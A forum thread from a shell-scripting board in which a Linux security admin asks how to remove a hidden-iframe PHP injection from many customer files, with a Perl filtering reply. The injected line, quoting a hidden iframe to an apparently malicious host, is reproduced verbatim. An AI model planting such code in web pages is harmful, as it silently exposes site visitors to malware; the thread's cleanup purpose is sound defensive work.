Removing matching text


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Removing matching text
# 1  
Old 12-25-2008
Removing matching text

Hello Everyone! Of course I am rather new to these forums, but I have been browsing the forums for awhile, always has a lot of useful information Smilie

This time however, I can not find the information I need, well, not completely. So here is the problem, I am a linux admin (dealing mostly with security/abuse), and a customer has the code below, injected into a large number of their files.

Code:
<?php echo '<div style="visibility:hidden"><iframe src="http://gfdsgf333.com/in.cgi?27" width=100 height=80></iframe></div>'; ?>

I was attempting to do this with a simple perl one liner, but then found out I would have to do escapes for both the shell and perl to be able to make it work.

Code:
find . -type f -print0 | xargs -0 perl -i -p -e 's#<?php ../rest of malicious code/.. ?>##g'

Of course I was testing first with only doing it on one file. Trying to use the regex to match would either give an error regarding a less than sign, or newline, or if it was successful it would remove another portion of the file at the bottom, which I did not want.

I am trying to find a better way to do this of course, and so I thought maybe remove any text inserted after the closing html tag, but that is not always the case. So the best bet seems to match the text with a regex and remove it. Any help doing so would be much much much appreciated!
# 2  
Old 12-26-2008
this will not directly match unless it is properly quoted

am doing the same thing what you have done, but in a different way

Code:
my $str = qq(\Q<?php echo '<div style="visibility:hidden"><iframe src="http://gfdsgf333.com/in.cgi?27" width=100 height=80></iframe></div>'; ?>\E);

print $str , "\n";
open(FILE, "<", "a") or die " Cannot open file <$!> \n";

while (<FILE>) {
  chomp;
  print "$_\n" if ( $_ !~ $str );
}

close(FILE);

Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

Removing PATTERN from txt without removing lines and general text formatting

Hi Everybody! First post! Totally noobie. I'm using the terminal to read a poorly formatted book. The text file contains, in the middle of paragraphs, hyphenation to split words that are supposed to be on multiple pages. It looks ve -- ry much like this. I was hoping to use grep -v " -- "... (5 Replies)
Discussion started by: AxeHandle
5 Replies

2. Shell Programming and Scripting

Removing spaces from line matching a pattern

Hi, I want to remove the spaces from all the lines matching a particular pattern from my file. For instance in file abc.txt I have following data. Header,This is the header 111,this is 1st record 222, this is 2nd record 333, this is 3rd record Footer,3 records found Footer,111222333 ... (5 Replies)
Discussion started by: decci_7
5 Replies

3. Shell Programming and Scripting

Matching some string in a line and removing that

I have one output file. Node: hstg1so Date: 2013/07/16 17:51:24 GMT Totals: 10608 6871 0 2208 1529 0 0 64% 0% ( 0 ) Node: hstg2so Date: 2013/07/16 17:51:25 GMT Totals: ... (3 Replies)
Discussion started by: Raza Ali
3 Replies

4. Shell Programming and Scripting

Grep text matching problem with script which checks if web page contains text.

I wrote a Bash script which checks to see if a text string exists on a web page and then sends me an email if it does (or does not e.g. "Out of stock"). I run it from my crontab, it's quite handy from time to time and I've been using it for a few years now. The script uses wget to download an... (6 Replies)
Discussion started by: gencon
6 Replies

5. Shell Programming and Scripting

Removing files matching a pattern

I am on ubuntu 11.10 using bash scripts I want to remove all files matching a string pattern and I am using the following code find . -name "*$pattern*" -exec rm -f {} \;I have encountered a problem when $pattern is empty. In this case all my files in my current directory were deleted. This... (3 Replies)
Discussion started by: kristinu
3 Replies

6. Shell Programming and Scripting

Removing non matching records

Hi all I have a file with records starting with "Page" has a first column. some of the records have some other junk characters has first column. so pls help me to remove rows which is not having "Page" has a first column. Thanks, Baski (2 Replies)
Discussion started by: baskivs
2 Replies

7. UNIX for Dummies Questions & Answers

Removing Lines based on matching first column

I have a file1 that looks like this: File 1 a b b c c e d e and a file 2 that looks like this: File 2 b c e e Note that file 2 is the right hand column from file1. I want to remove any lines from file1 that begin with the column in file2. In this case the desired output... (6 Replies)
Discussion started by: kschiltz55
6 Replies

8. Shell Programming and Scripting

Removing matching text from multiple files with a shell script

Hello all, I am in need of assistance in creating a script that will remove a specified block of text from multiple .htaccess files. (roughly 1000 files) I am attempting to help with a project to clean up a linux server that has a series of unwanted url rewrites in place, as well as some... (4 Replies)
Discussion started by: boxx
4 Replies

9. Shell Programming and Scripting

Removing data with pattern matching

I have the following: HH:MM:SS I want to use either % or # sign to remove :SS can somebody please provide me an example. I know how to do this in awk, but awk is too much overhead for something this simple since I will be doing this in a loop a lot of times. Thanks in advance to all... (2 Replies)
Discussion started by: BeefStu
2 Replies

10. Shell Programming and Scripting

removing certain paragraphs for matching patterns

Hi, I have a log file which might have certain paragraphs. Switch not possible Error code 1234 Process number 678 Log not available Error code 567 Process number 874 ..... ...... ...... Now I create an exception file like this. cat text.exp Error code 1234 Process number 874 (7 Replies)
Discussion started by: kaushys
7 Replies
Login or Register to Ask a Question